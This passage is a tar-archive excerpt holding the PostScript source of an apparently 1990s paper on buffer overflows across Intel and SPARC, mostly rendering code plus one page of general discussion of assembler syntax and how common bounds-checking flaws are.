]\n");
}
------------------------------------------------------------------------------
buffer-overflows/buf.ps100644 0 0 207076 6347415677 13651 0ustar rootroot%!PS-Adobe-3.0
%%Creator: PSCRIPT
%%Title: buf.doc
%%BoundingBox: 18 9 593 784
%%DocumentNeededResources: (atend)
%%DocumentSuppliedResources: (atend)
%%Pages: (atend)
%%BeginResource: procset Win35Dict 3 1
/Win35Dict 290 dict def Win35Dict begin/bd{bind def}bind def/in{72
mul}bd/ed{exch def}bd/ld{load def}bd/tr/translate ld/gs/gsave ld/gr
/grestore ld/M/moveto ld/L/lineto ld/rmt/rmoveto ld/rlt/rlineto ld
/rct/rcurveto ld/st/stroke ld/n/newpath ld/sm/setmatrix ld/cm/currentmatrix
ld/cp/closepath ld/ARC/arcn ld/TR{65536 div}bd/lj/setlinejoin ld/lc
/setlinecap ld/ml/setmiterlimit ld/sl/setlinewidth ld/scignore false
def/sc{scignore{pop pop pop}{0 index 2 index eq 2 index 4 index eq
and{pop pop 255 div setgray}{3{255 div 3 1 roll}repeat setrgbcolor}ifelse}ifelse}bd
/FC{bR bG bB sc}bd/fC{/bB ed/bG ed/bR ed}bd/HC{hR hG hB sc}bd/hC{
/hB ed/hG ed/hR ed}bd/PC{pR pG pB sc}bd/pC{/pB ed/pG ed/pR ed}bd/sM
matrix def/PenW 1 def/iPen 5 def/mxF matrix def/mxE matrix def/mxUE
matrix def/mxUF matrix def/fBE false def/iDevRes 72 0 matrix defaultmatrix
dtransform dup mul exch dup mul add sqrt def/fPP false def/SS{fPP{
/SV save def}{gs}ifelse}bd/RS{fPP{SV restore}{gr}ifelse}bd/EJ{gsave
showpage grestore}bd/#C{userdict begin/#copies ed end}bd/FEbuf 2 string
def/FEglyph(G )def/FE{1 exch{dup 16 FEbuf cvrs FEglyph exch 1 exch
putinterval 1 index exch FEglyph cvn put}for}bd/SM{/iRes ed/cyP ed
/cxPg ed/cyM ed/cxM ed 72 100 div dup scale dup 0 ne{90 eq{cyM exch
0 eq{cxM exch tr -90 rotate -1 1 scale}{cxM cxPg add exch tr +90 rotate}ifelse}{cyP
cyM sub exch 0 ne{cxM exch tr -90 rotate}{cxM cxPg add exch tr -90
rotate 1 -1 scale}ifelse}ifelse}{pop cyP cyM sub exch 0 ne{cxM cxPg
add exch tr 180 rotate}{cxM exch tr 1 -1 scale}ifelse}ifelse 100 iRes
div dup scale 0 0 transform .25 add round .25 sub exch .25 add round
.25 sub exch itransform translate}bd/SJ{1 index 0 eq{pop pop/fBE false
def}{1 index/Break ed div/dxBreak ed/fBE true def}ifelse}bd/ANSIVec[
16#0/grave 16#1/acute 16#2/circumflex 16#3/tilde 16#4/macron 16#5/breve
16#6/dotaccent 16#7/dieresis 16#8/ring 16#9/cedilla 16#A/hungarumlaut
16#B/ogonek 16#C/caron 16#D/dotlessi 16#27/quotesingle 16#60/grave
16#7C/bar 16#82/quotesinglbase 16#83/florin 16#84/quotedblbase 16#85
/ellipsis 16#86/dagger 16#87/daggerdbl 16#88/circumflex 16#89/perthousand
16#8A/Scaron 16#8B/guilsinglleft 16#8C/OE 16#91/quoteleft 16#92/quoteright
16#93/quotedblleft 16#94/quotedblright 16#95/bullet 16#96/endash 16#97
/emdash 16#98/tilde 16#99/trademark 16#9A/scaron 16#9B/guilsinglright
16#9C/oe 16#9F/Ydieresis 16#A0/space 16#A1/exclamdown 16#A4/currency
16#A5/yen 16#A6/brokenbar 16#A7/section 16#A8/dieresis 16#A9/copyright
16#AA/ordfeminine 16#AB/guillemotleft 16#AC/logicalnot 16#AD/hyphen
16#AE/registered 16#AF/macron 16#B0/degree 16#B1/plusminus 16#B2/twosuperior
16#B3/threesuperior 16#B4/acute 16#B5/mu 16#B6/paragraph 16#B7/periodcentered
16#B8/cedilla 16#B9/onesuperior 16#BA/ordmasculine 16#BB/guillemotright
16#BC/onequarter 16#BD/onehalf 16#BE/threequarters 16#BF/questiondown
16#C0/Agrave 16#C1/Aacute 16#C2/Acircumflex 16#C3/Atilde 16#C4/Adieresis
16#C5/Aring 16#C6/AE 16#C7/Ccedilla 16#C8/Egrave 16#C9/Eacute 16#CA
/Ecircumflex 16#CB/Edieresis 16#CC/Igrave 16#CD/Iacute 16#CE/Icircumflex
16#CF/Idieresis 16#D0/Eth 16#D1/Ntilde 16#D2/Ograve 16#D3/Oacute 16#D4
/Ocircumflex 16#D5/Otilde 16#D6/Odieresis 16#D7/multiply 16#D8/Oslash
16#D9/Ugrave 16#DA/Uacute 16#DB/Ucircumflex 16#DC/Udieresis 16#DD/Yacute
16#DE/Thorn 16#DF/germandbls 16#E0/agrave 16#E1/aacute 16#E2/acircumflex
16#E3/atilde 16#E4/adieresis 16#E5/aring 16#E6/ae 16#E7/ccedilla 16#E8
/egrave 16#E9/eacute 16#EA/ecircumflex 16#EB/edieresis 16#EC/igrave
16#ED/iacute 16#EE/icircumflex 16#EF/idieresis 16#F0/eth 16#F1/ntilde
16#F2/ograve 16#F3/oacute 16#F4/ocircumflex 16#F5/otilde 16#F6/odieresis
16#F7/divide 16#F8/oslash 16#F9/ugrave 16#FA/uacute 16#FB/ucircumflex
16#FC/udieresis 16#FD/yacute 16#FE/thorn 16#FF/ydieresis ] def/reencdict
12 dict def/IsChar{basefontdict/CharStrings get exch known}bd/MapCh{dup
IsChar not{pop/bullet}if newfont/Encoding get 3 1 roll put}bd/MapDegree{16#b0
/degree IsChar{/degree}{/ring}ifelse MapCh}bd/MapBB{16#a6/brokenbar
IsChar{/brokenbar}{/bar}ifelse MapCh}bd/ANSIFont{reencdict begin/newfontname
ed/basefontname ed FontDirectory newfontname known not{/basefontdict
basefontname findfont def/newfont basefontdict maxlength dict def basefontdict{exch
dup/FID ne{dup/Encoding eq{exch dup length array copy newfont 3 1 roll
put}{exch newfont 3 1 roll put}ifelse}{pop pop}ifelse}forall newfont
/FontName newfontname put 127 1 159{newfont/Encoding get exch/bullet
put}for ANSIVec aload pop ANSIVec length 2 idiv{MapCh}repeat MapDegree
MapBB newfontname newfont definefont pop}if newfontname end}bd/SB{FC
/ULlen ed/str ed str length fBE not{dup 1 gt{1 sub}if}if/cbStr ed
/dxGdi ed/y0 ed/x0 ed str stringwidth dup 0 ne{/y1 ed/x1 ed y1 y1
mul x1 x1 mul add sqrt dxGdi exch div 1 sub dup x1 mul cbStr div exch
y1 mul cbStr div}{exch abs neg dxGdi add cbStr div exch}ifelse/dyExtra
ed/dxExtra ed x0 y0 M fBE{dxBreak 0 BCh dxExtra dyExtra str awidthshow}{dxExtra
dyExtra str ashow}ifelse fUL{x0 y0 M dxUL dyUL rmt ULlen fBE{Break
add}if 0 mxUE transform gs rlt cyUL sl [] 0 setdash st gr}if fSO{x0
y0 M dxSO dySO rmt ULlen fBE{Break add}if 0 mxUE transform gs rlt cyUL
sl [] 0 setdash st gr}if n/fBE false def}bd/font{/name ed/Ascent ed
0 ne/fT3 ed 0 ne/fSO ed 0 ne/fUL ed/Sy ed/Sx ed 10.0 div/ori ed -10.0
div/esc ed/BCh ed name findfont/xAscent 0 def/yAscent Ascent def/ULesc
esc def ULesc mxUE rotate pop fT3{/esc 0 def xAscent yAscent mxUE transform
/yAscent ed/xAscent ed}if [Sx 0 0 Sy neg xAscent yAscent] esc mxE
rotate mxF concatmatrix makefont setfont [Sx 0 0 Sy neg 0 Ascent] mxUE
mxUF concatmatrix pop fUL{currentfont dup/FontInfo get/UnderlinePosition
known not{pop/Courier findfont}if/FontInfo get/UnderlinePosition get
1000 div 0 exch mxUF transform/dyUL ed/dxUL ed}if fSO{0 .3 mxUF transform
/dySO ed/dxSO ed}if fUL fSO or{currentfont dup/FontInfo get/UnderlineThickness
known not{pop/Courier findfont}if/FontInfo get/UnderlineThickness get
1000 div Sy mul/cyUL ed}if}bd/min{2 copy gt{exch}if pop}bd/max{2 copy
lt{exch}if pop}bd/CP{/ft ed{{ft 0 eq{clip}{eoclip}ifelse}stopped{currentflat
1 add setflat}{exit}ifelse}loop}bd/patfont 10 dict def patfont begin
/FontType 3 def/FontMatrix [1 0 0 -1 0 0] def/FontBBox [0 0 16 16]
def/Encoding StandardEncoding def/BuildChar{pop pop 16 0 0 0 16 16
setcachedevice 16 16 false [1 0 0 1 .25 .25]{pat}imagemask}bd end/p{
/pat 32 string def{}forall 0 1 7{dup 2 mul pat exch 3 index put dup
2 mul 1 add pat exch 3 index put dup 2 mul 16 add pat exch 3 index
put 2 mul 17 add pat exch 2 index put pop}for}bd/pfill{/PatFont patfont
definefont setfont/ch(AAAA)def X0 64 X1{Y1 -16 Y0{1 index exch M ch
show}for pop}for}bd/vert{X0 w X1{dup Y0 M Y1 L st}for}bd/horz{Y0 w
Y1{dup X0 exch M X1 exch L st}for}bd/fdiag{X0 w X1{Y0 M X1 X0 sub dup
rlt st}for Y0 w Y1{X0 exch M Y1 Y0 sub dup rlt st}for}bd/bdiag{X0 w
X1{Y1 M X1 X0 sub dup neg rlt st}for Y0 w Y1{X0 exch M Y1 Y0 sub dup
neg rlt st}for}bd/AU{1 add cvi 15 or}bd/AD{1 sub cvi -16 and}bd/SHR{pathbbox
AU/Y1 ed AU/X1 ed AD/Y0 ed AD/X0 ed}bd/hfill{/w iRes 37.5 div round
def 0.1 sl [] 0 setdash n dup 0 eq{horz}if dup 1 eq{vert}if dup 2 eq{fdiag}if
dup 3 eq{bdiag}if dup 4 eq{horz vert}if 5 eq{fdiag bdiag}if}bd/F{/ft
ed fm 256 and 0 ne{gs FC ft 0 eq{fill}{eofill}ifelse gr}if fm 1536
and 0 ne{SHR gs HC ft CP fm 1024 and 0 ne{/Tmp save def pfill Tmp restore}{fm
15 and hfill}ifelse gr}if}bd/S{PenW sl PC st}bd/m matrix def/GW{iRes
12 div PenW add cvi}bd/DoW{iRes 50 div PenW add cvi}bd/DW{iRes 8 div
PenW add cvi}bd/SP{/PenW ed/iPen ed iPen 0 eq iPen 6 eq or{[] 0 setdash}if
iPen 1 eq{[DW GW] 0 setdash}if iPen 2 eq{[DoW GW] 0 setdash}if iPen
3 eq{[DW GW DoW GW] 0 setdash}if iPen 4 eq{[DW GW DoW GW DoW GW] 0
setdash}if}bd/E{m cm pop tr scale 1 0 moveto 0 0 1 0 360 arc cp m sm}bd
/AG{/sy ed/sx ed sx div 4 1 roll sy div 4 1 roll sx div 4 1 roll sy
div 4 1 roll atan/a2 ed atan/a1 ed sx sy scale a1 a2 ARC}def/A{m cm
pop tr AG m sm}def/P{m cm pop tr 0 0 M AG cp m sm}def/RRect{n 4 copy
M 3 1 roll exch L 4 2 roll L L cp}bd/RRCC{/r ed/y1 ed/x1 ed/y0 ed/x0
ed x0 x1 add 2 div y0 M x1 y0 x1 y1 r arcto 4{pop}repeat x1 y1 x0 y1
r arcto 4{pop}repeat x0 y1 x0 y0 r arcto 4{pop}repeat x0 y0 x1 y0 r
arcto 4{pop}repeat cp}bd/RR{2 copy 0 eq exch 0 eq or{pop pop RRect}{2
copy eq{pop RRCC}{m cm pop/y2 ed/x2 ed/ys y2 x2 div 1 max def/xs x2
y2 div 1 max def/y1 exch ys div def/x1 exch xs div def/y0 exch ys div
def/x0 exch xs div def/r2 x2 y2 min def xs ys scale x0 x1 add 2 div
y0 M x1 y0 x1 y1 r2 arcto 4{pop}repeat x1 y1 x0 y1 r2 arcto 4{pop}repeat
x0 y1 x0 y0 r2 arcto 4{pop}repeat x0 y0 x1 y0 r2 arcto 4{pop}repeat
m sm cp}ifelse}ifelse}bd/PP{{rlt}repeat}bd/OB{gs 0 ne{7 3 roll/y ed
/x ed x y translate ULesc rotate x neg y neg translate x y 7 -3 roll}if
sc B fill gr}bd/B{M/dy ed/dx ed dx 0 rlt 0 dy rlt dx neg 0 rlt cp}bd
/CB{B clip n}bd/ErrHandler{errordict dup maxlength exch length gt
dup{errordict begin}if/errhelpdict 12 dict def errhelpdict begin/stackunderflow(operand stack underflow)def
/undefined(this name is not defined in a dictionary)def/VMerror(you have used up all the printer's memory)def
/typecheck(operator was expecting a different type of operand)def
/ioerror(input/output error occured)def end{end}if errordict begin
/handleerror{$error begin newerror{/newerror false def showpage 72
72 scale/x .25 def/y 9.6 def/Helvetica findfont .2 scalefont setfont
x y moveto(Offending Command = )show/command load{dup type/stringtype
ne{(max err string)cvs}if show}exec/y y .2 sub def x y moveto(Error = )show
errorname{dup type dup( max err string )cvs show( : )show/stringtype
ne{( max err string )cvs}if show}exec errordict begin errhelpdict errorname
known{x 1 add y .2 sub moveto errhelpdict errorname get show}if end
/y y .4 sub def x y moveto(Stack =)show ostack{/y y .2 sub def x 1
add y moveto dup type/stringtype ne{( max err string )cvs}if show}forall
showpage}if end}def end}bd end
%%EndResource
/SVDoc save def
%%EndProlog
%%BeginSetup
Win35Dict begin
ErrHandler
statusdict begin 0 setjobtimeout end
statusdict begin statusdict /jobname (buf.doc) put end
/oldDictCnt countdictstack def {}stopped
{ countdictstack oldDictCnt lt { Win35Dict begin }
{1 1 countdictstack oldDictCnt sub {pop end } for } ifelse } if
/oldDictCnt countdictstack def {letter
}stopped
{ countdictstack oldDictCnt lt { Win35Dict begin }
{1 1 countdictstack oldDictCnt sub {pop end } for } ifelse } if
[{ }
/exec load currenttransfer /exec load] cvx settransfer
%%EndSetup
%%Page: 1 1
%%PageResources: (atend)
SS
0 0 25 11 798 1100 300 SM
% Copyright (c) 1986-1995 Frame Technology Corporation.
/FMcmyk 100 dict def
/FmBD{bind def}bind def
/FmLD{load def}FmBD
/FMc {
FMcmyk length FMcmyk maxlength ge { /FMcmyk FMcmyk dup length dup add dict copy def } if
4 array astore 4 1 roll 8 bitshift add 8 bitshift add exch FMcmyk 3 1 roll put
}FmBD
/setcmykcolor where { pop
/sc where { pop /sc load 0 get /scignore eq {
/FMsc /sc FmLD
/sc { 3 copy 8 bitshift add 8 bitshift add FMcmyk 1 index known
{ FMcmyk exch get aload pop setcmykcolor pop pop pop } { pop FMsc } ifelse
}FmBD
} if } if
} if
mark { /S load
dup 0 get /PenW eq { dup 1 get /sl load eq {
dup 0 { PenW .75 sub sl } bind put 1 /exec load put
} if } if
} stopped cleartomark
/FmX matrix defaultmatrix def
/FmDC {transform FmX itransform cvi exch cvi exch} def
/FmBx { dup 3 index lt {3 1 roll exch} if
1 index 4 index lt {4 -1 roll 3 1 roll exch 4 1 roll} if
}FmBD
/FmPD/cleartomark FmLD
/FmPD2/cleartomark FmLD
/FmPT/pop FmLD
/FmPA{pop pop pop}FmBD
systemdict /pdfmark known {
/FmPD/pdfmark FmLD
currentdistillerparams /CoreDistVersion get 2000 ge {
/FmPD2/pdfmark FmLD
/FmPA { mark exch /Dest exch 5 3 roll
/View [ /XYZ null 6 -2 roll FmDC exch pop null] /DEST FmPD
}FmBD
} if
} if
0 0 0 0.0 0.0 0.0 1.0 FMc
gs
gs
gs
1 lc
1 lj
0 0 0 pC
0 1 SP
gs 2026 1 150 139 CB
150 139 M 2025 0 1 PP
S
n
gr
gs 2026 1 150 2953 CB
150 2953 M 2025 0 1 PP
S
n
gr
32 0 0 50 50 0 0 0 48 /Times-Bold /font9 ANSIFont font
0 0 0 fC
150 2969 25 (4) 25 SB
32 0 0 41 41 0 0 0 38 /Times-Italic /font11 ANSIFont font
712 2979 27 (C) 28 SB
740 2979 166 (ompromis) 167 SB
907 2979 73 (ed - ) 74 SB
981 2979 68 (Buff) 69 SB
1050 2979 18 (e) 19 SB
1069 2979 96 (r-Ove) 97 SB
1166 2979 38 (rfl) 39 SB
1205 2979 48 (ow) 49 SB
1254 2979 36 (s, ) 37 SB
1291 2979 88 (from ) 89 SB
1380 2979 35 (In) 34 SB
1414 2979 11 (t) 12 SB
1426 2979 29 (el) 30 SB
1456 2979 21 ( t) 22 SB
1478 2979 77 (o SP) 78 SB
1556 2979 77 (ARC) 78 SB
1634 2979 10 ( ) 11 SB
1645 2979 43 (Ve) 44 SB
1689 2979 43 (rsi) 44 SB
1733 2979 21 (o) 20 SB
1753 2979 31 (n ) 32 SB
1785 2979 21 (8) 20 SB
gr
32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font
150 378 67 (AT) 66 SB
216 378 101 (T vs) 100 SB
316 378 76 ( Int) 75 SB
391 378 73 (el?) 72 SB
463 378 48 (!?) 48 SB
32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font
712 380 133 (Almos) 134 SB
846 380 14 (t) 13 SB
859 380 240 ( everything ) 239 SB
1098 380 66 (in t) 65 SB
1163 380 47 (he) 48 SB
1211 380 13 ( ) 12 SB
1223 380 105 (Intel ) 104 SB
1327 380 130 (world ) 129 SB
1456 380 55 (of ) 54 SB
1510 380 22 (a) 23 SB
1533 380 60 (sse) 61 SB
1594 380 64 (mb) 63 SB
1657 380 36 (le) 37 SB
1694 380 17 (r) 16 SB
1710 380 169 ( is dealt ) 168 SB
1878 380 141 (with vi) 140 SB
2018 380 22 (a) 23 SB
2041 380 13 ( ) 12 SB
2053 380 105 (Intel ) 104 SB
712 438 98 (form) 97 SB
809 438 22 (a) 23 SB
832 438 14 (t) 13 SB
845 438 54 ( as) 55 SB
900 438 171 (sembler ) 170 SB
1070 438 94 (code) 95 SB
1165 438 13 (.) 12 SB
1177 438 44 ( T) 43 SB
1220 438 194 (his is not ) 193 SB
1413 438 140 (how it ) 139 SB
1552 438 98 (is in ) 97 SB
1649 438 187 (the Unix ) 186 SB
1835 438 130 (world.) 129 SB
1964 438 55 ( Si) 54 SB
2018 438 47 (nc) 48 SB
2066 438 35 (e ) 34 SB
2100 438 74 (the ) 74 SB
712 497 105 (old P) 104 SB
816 497 187 (DP\222s the ) 186 SB
1002 497 205 (unix envir) 204 SB
1206 497 223 (onment ass) 224 SB
1430 497 152 (embler ) 151 SB
1581 497 19 (s) 20 SB
1601 497 64 (ynt) 63 SB
1664 497 22 (a) 23 SB
1687 497 38 (x ) 37 SB
1724 497 66 (has) 67 SB
1791 497 13 ( ) 12 SB
1803 497 191 (followed ) 190 SB
1993 497 36 (A) 37 SB
2030 497 31 (T) 30 SB
2060 497 44 (T ) 43 SB
712 555 19 (s) 20 SB
732 555 53 (tyl) 52 SB
784 555 22 (e) 23 SB
807 555 13 (.) 12 SB
819 555 13 ( ) 12 SB
831 555 155 (This mi) 154 SB
985 555 133 (ght thr) 132 SB
1117 555 162 (ow you ) 161 SB
1278 555 59 (off) 58 SB
1336 555 44 ( if) 43 SB
1379 555 88 ( you) 87 SB
1466 555 87 ( are ) 86 SB
1552 555 44 (us) 45 SB
1597 555 60 (ed ) 59 SB
1656 555 52 (to ) 51 SB
1707 555 22 (a) 23 SB
1730 555 63 (ny ) 62 SB
1792 555 88 (low ) 87 SB
1879 555 83 (leve) 84 SB
1963 555 14 (l) 13 SB
1976 555 55 ( pr) 54 SB
2030 555 145 (ogram-) 145 SB
712 613 116 (ming ) 115 SB
827 613 126 (in the ) 125 SB
952 613 61 (PC) 62 SB
1014 613 13 ( ) 12 SB
1026 613 130 (world.) 129 SB
1155 613 30 ( I) 29 SB
1184 613 151 ( would ) 150 SB
1334 613 148 (hate to ) 147 SB
1481 613 19 (s) 20 SB
1501 613 203 (ee simple ) 202 SB
1703 613 19 (s) 20 SB
1723 613 419 (emantics discourage ) 419 SB
712 672 144 (anyone) 145 SB
857 672 13 ( ) 12 SB
869 672 156 (so here ) 155 SB
1024 672 22 (a) 23 SB
1047 672 17 (r) 16 SB
1063 672 148 (e the m) 147 SB
1210 672 22 (a) 23 SB
1233 672 39 (in) 38 SB
1271 672 86 ( diff) 85 SB
1356 672 130 (erence) 131 SB
1487 672 32 (s ) 31 SB
1518 672 151 (in a nut) 150 SB
1668 672 19 (s) 20 SB
1688 672 102 (hell: ) 101 SB
1789 672 84 ([Fig) 83 SB
1872 672 119 (ure 6]) 118 SB
1990 672 13 (.) 13 SB
32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font
150 945 28 (I ) 27 SB
177 945 168 (see wh) 167 SB
344 945 148 (ere yo) 147 SB
491 945 106 (u\222re ) 106 SB
150 1003 31 (g) 30 SB
180 1003 76 (oin) 75 SB
255 1003 76 (g b) 75 SB
330 1003 48 (ut) 47 SB
377 1003 87 ( is t) 86 SB
463 1003 87 (his ) 87 SB
150 1061 131 (really) 130 SB
280 1061 115 ( as b) 114 SB
394 1061 87 (ig a) 86 SB
480 1061 101 (s yo) 100 SB
580 1061 45 (u ) 45 SB
150 1120 28 (s) 27 SB
177 1120 87 (ay?) 87 SB
32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font
712 947 44 (M) 45 SB
757 947 85 (any ) 82 SB
839 947 146 (people ) 144 SB
983 947 85 (just ) 83 SB
1066 947 92 (don\222) 91 SB
1157 947 27 (t ) 25 SB
1182 947 76 (see ) 74 SB
1256 947 99 (how ) 96 SB
1352 947 199 (prevalent ) 197 SB
1549 947 157 (bounds ) 155 SB
1704 947 193 (checking ) 190 SB
1894 947 199 (problems ) 197 SB
2091 947 74 (are.) 73 SB
2164 947 13 ( ) 11 SB
712 1005 91 (The ) 90 SB
802 1005 153 (number) 152 SB
954 1005 13 ( ) 12 SB
966 1005 55 (of ) 54 SB
1020 1005 193 (incidents ) 192 SB
1212 1005 52 (in ) 51 SB
1263 1005 74 (the ) 73 SB
1336 1005 113 (Unix ) 111 SB
1447 1005 130 (world ) 129 SB
1576 1005 146 (should ) 145 SB
1721 1005 60 (be ) 59 SB
1780 1005 42 (pr) 41 SB
1821 1005 80 (oof ) 79 SB
1900 1005 173 (enough. ) 171 SB
2071 1005 105 (Sure ) 104 SB
712 1063 113 (there ) 111 SB
823 1063 74 (are ) 72 SB
895 1063 35 (a ) 32 SB
927 1063 66 (lot ) 64 SB
991 1063 42 (of) 41 SB
1032 1063 13 ( ) 11 SB
1043 1063 94 (false) 95 SB
1138 1063 13 ( ) 10 SB
1148 1063 69 (pos) 70 SB
1218 1063 28 (it) 27 SB
1245 1063 80 (ives) 81 SB
1326 1063 13 ( ) 11 SB
1337 1063 121 (when ) 119 SB
1456 1063 88 (you ) 85 SB
1541 1063 19 (s) 20 SB
1561 1063 53 (tar) 52 SB
1613 1063 27 (t ) 25 SB
1638 1063 127 (going ) 124 SB
1762 1063 169 (through ) 167 SB
1929 1063 143 (source ) 141 SB
2070 1063 107 (code ) 105 SB
712 1122 91 (but t) 90 SB
802 1122 47 (he) 48 SB
850 1122 17 (r) 16 SB
866 1122 109 (e are ) 108 SB
974 1122 19 (s) 20 SB
994 1122 69 (till ) 68 SB
1062 1122 163 (many m) 162 SB
1224 1122 327 (ore areas where ) 326 SB
1550 1122 61 (the) 62 SB
1612 1122 13 ( ) 12 SB
1624 1122 84 (buff) 83 SB
1707 1122 141 (er over) 140 SB
1847 1122 105 (flow ) 104 SB
1951 1122 22 (c) 23 SB
1974 1122 60 (an ) 59 SB
2033 1122 47 (be) 48 SB
2081 1122 13 ( ) 12 SB
2093 1122 35 (a ) 35 SB
712 1180 284 (valid security ) 283 SB
995 1180 22 (c) 23 SB
1018 1180 149 (oncern.) 148 SB
1166 1180 41 ( F) 40 SB
1206 1180 169 (inally pr) 168 SB
1374 1180 345 (ogrammers have ) 344 SB
1718 1180 19 (s) 20 SB
1738 1180 127 (tarted ) 126 SB
1864 1180 94 (to dr) 93 SB
1957 1180 137 (op the ) 136 SB
2093 1180 78 (bla-) 78 SB
712 1239 212 (tantly bad ) 211 SB
923 1239 177 (practices) 178 SB
1101 1239 13 ( ) 12 SB
1113 1239 101 (that ) 100 SB
1213 1239 83 (mos) 84 SB
1297 1239 14 (t) 13 SB
1310 1239 68 ( of ) 67 SB
1377 1239 87 (the ) 86 SB
1463 1239 176 (old well ) 175 SB
1638 1239 298 (known coding ) 297 SB
1935 1239 180 (problem ) 179 SB
712 1297 58 (we) 59 SB
771 1297 17 (r) 16 SB
787 1297 48 (e. ) 47 SB
834 1297 94 (Face) 95 SB
929 1297 13 ( ) 12 SB
941 1297 41 (it,) 40 SB
981 1297 198 ( people ar) 197 SB
1178 1297 22 (e) 23 SB
1201 1297 13 ( ) 12 SB
1213 1297 19 (s) 20 SB
1233 1297 39 (lo) 38 SB
1271 1297 36 (w) 37 SB
1308 1297 13 ( ) 12 SB
1320 1297 173 (and you ) 172 SB
1492 1297 94 (have) 95 SB
1587 1297 13 ( ) 12 SB
1599 1297 52 (to ) 51 SB
1650 1297 47 (ha) 48 SB
1698 1297 39 (m) 38 SB
1736 1297 61 (me) 62 SB
1798 1297 17 (r) 16 SB
1814 1297 66 ( int) 65 SB
1879 1297 143 (o their ) 142 SB
2021 1297 107 (head ) 107 SB
712 1355 223 (what good ) 222 SB
934 1355 22 (c) 23 SB
957 1355 25 (o) 24 SB
981 1355 144 (ding pr) 143 SB
1124 1355 22 (a) 23 SB
1147 1355 200 (ctices are.) 199 SB
1346 1355 222 ( Better yet ) 221 SB
1567 1355 220 (they need t) 219 SB
1786 1355 344 (o understand the ) 343 SB
712 1414 141 (theory ) 138 SB
850 1414 22 (a) 23 SB
873 1414 63 (nd ) 60 SB
933 1414 180 (thinking ) 177 SB
1110 1414 55 (of ) 52 SB
1162 1414 99 (how ) 97 SB
1259 1414 165 (hackers ) 163 SB
1422 1414 116 (think ) 113 SB
1535 1414 85 (and ) 83 SB
1618 1414 78 (wor) 77 SB
1695 1414 38 (k ) 36 SB
1731 1414 52 (in ) 49 SB
1780 1414 119 (order ) 116 SB
1896 1414 52 (to ) 50 SB
1946 1414 124 (avoid ) 121 SB
2067 1414 110 (most ) 108 SB
712 1472 55 (of ) 54 SB
766 1472 262 (the potential ) 261 SB
1027 1472 105 (holes) 106 SB
1133 1472 13 (.) 12 SB
712 1589 269 (Although buf) 268 SB
980 1589 69 (fer ) 68 SB
1048 1589 120 (overfl) 119 SB
1167 1589 61 (ow) 62 SB
1229 1589 13 ( ) 12 SB
1241 1589 188 (potential ) 187 SB
1428 1589 33 (is) 34 SB
1462 1589 13 ( ) 12 SB
1474 1589 165 (a major ) 164 SB
1638 1589 180 (problem ) 179 SB
1817 1589 52 (in ) 51 SB
1868 1589 36 (U) 37 SB
1905 1589 39 (ni) 38 SB
1943 1589 118 (x \221C\222 ) 117 SB
2060 1589 84 (pro-) 83 SB
712 1647 148 (grams..) 147 SB
859 1647 26 (. ) 25 SB
884 1647 17 (I) 16 SB
900 1647 13 ( ) 12 SB
912 1647 101 (proff) 100 SB
1012 1647 22 (e) 23 SB
1035 1647 17 (r) 16 SB
1051 1647 26 (, ) 25 SB
1076 1647 17 (f) 16 SB
1092 1647 94 (rom ) 93 SB
1185 1647 249 (background ) 248 SB
1433 1647 85 (and ) 84 SB
1517 1647 92 (inter) 91 SB
1608 1647 22 (a) 23 SB
1631 1647 50 (cti) 49 SB
1680 1647 76 (on, ) 75 SB
1755 1647 88 (that ) 87 SB
1842 1647 85 (this ) 84 SB
1926 1647 88 (sort ) 87 SB
2013 1647 55 (of ) 54 SB
2067 1647 42 (pr) 41 SB
2108 1647 67 (ob-) 67 SB
712 1705 88 (lem ) 87 SB
799 1705 33 (is) 34 SB
833 1705 13 ( ) 12 SB
845 1705 107 (even ) 106 SB
951 1705 113 (MOR) 114 SB
1065 1705 31 (E) 30 SB
1095 1705 13 ( ) 12 SB
1107 1705 199 (prevalent ) 198 SB
1305 1705 52 (in ) 51 SB
1356 1705 74 (the ) 73 SB
1429 1705 44 (M) 45 SB
1474 1705 166 (icrosoft ) 165 SB
1639 1705 78 (wor) 77 SB
1716 1705 65 (ld. ) 64 SB
1780 1705 132 (When ) 131 SB
1911 1705 88 (you ) 87 SB
1998 1705 94 (find ) 93 SB
2091 1705 85 (one ) 84 SB
712 1764 55 (of ) 53 SB
765 1764 102 (these) 103 SB
868 1764 13 ( ) 11 SB
879 1764 14 (i) 13 SB
892 1764 38 (n ) 36 SB
928 1764 47 (W) 48 SB
976 1764 14 (i) 13 SB
989 1764 130 (ndows) 131 SB
1120 1764 13 ( ) 11 SB
1131 1764 38 (3.) 37 SB
1168 1764 152 (1/DOS ) 150 SB
1318 1764 55 (or ) 53 SB
1371 1764 149 (Win95 ) 147 SB
1518 1764 88 (you ) 86 SB
1604 1764 42 (pr) 41 SB
1645 1764 22 (e) 23 SB
1668 1764 14 (t) 13 SB
1681 1764 52 (ty ) 50 SB
1731 1764 124 (much ) 122 SB
1853 1764 99 (own ) 97 SB
1950 1764 74 (the ) 72 SB
2022 1764 47 (ba) 48 SB
2070 1764 17 (r) 16 SB
2086 1764 38 (n ) 36 SB
2122 1764 41 (as) 42 SB
2164 1764 13 ( ) 11 SB
712 1822 202 (there isn\222t) 201 SB
913 1822 65 ( a r) 64 SB
977 1822 44 (ea) 45 SB
1022 1822 28 (ll) 27 SB
1049 1822 222 (y clear cut ) 221 SB
1270 1822 66 (des) 67 SB
1337 1822 77 (ign ) 76 SB
1413 1822 55 (of ) 54 SB
1467 1822 152 (where r) 151 SB
1618 1822 83 (ings) 84 SB
1702 1822 13 ( ) 12 SB
1714 1822 76 (1,2,) 75 SB
1789 1822 109 (3,etc.) 108 SB
1897 1822 101 ( live ) 100 SB
1997 1822 44 (\(i.) 43 SB
2040 1822 22 (e) 23 SB
2063 1822 13 (.) 12 SB
2075 1822 13 ( ) 13 SB
712 1880 69 (eve) 70 SB
782 1880 17 (r) 16 SB
798 1880 141 (ything ) 140 SB
938 1880 33 (is) 34 SB
972 1880 13 ( ) 12 SB
984 1880 80 (at ri) 79 SB
1063 1880 101 (ng 1 ) 100 SB
1163 1880 72 (for ) 71 SB
1234 1880 77 (all i) 76 SB
1310 1880 61 (nte) 62 SB
1372 1880 39 (nt) 38 SB
1410 1880 19 (s) 20 SB
1430 1880 13 ( ) 12 SB
1442 1880 22 (a) 23 SB
1465 1880 63 (nd ) 62 SB
1527 1880 177 (purposes) 178 SB
1705 1880 17 (\)) 16 SB
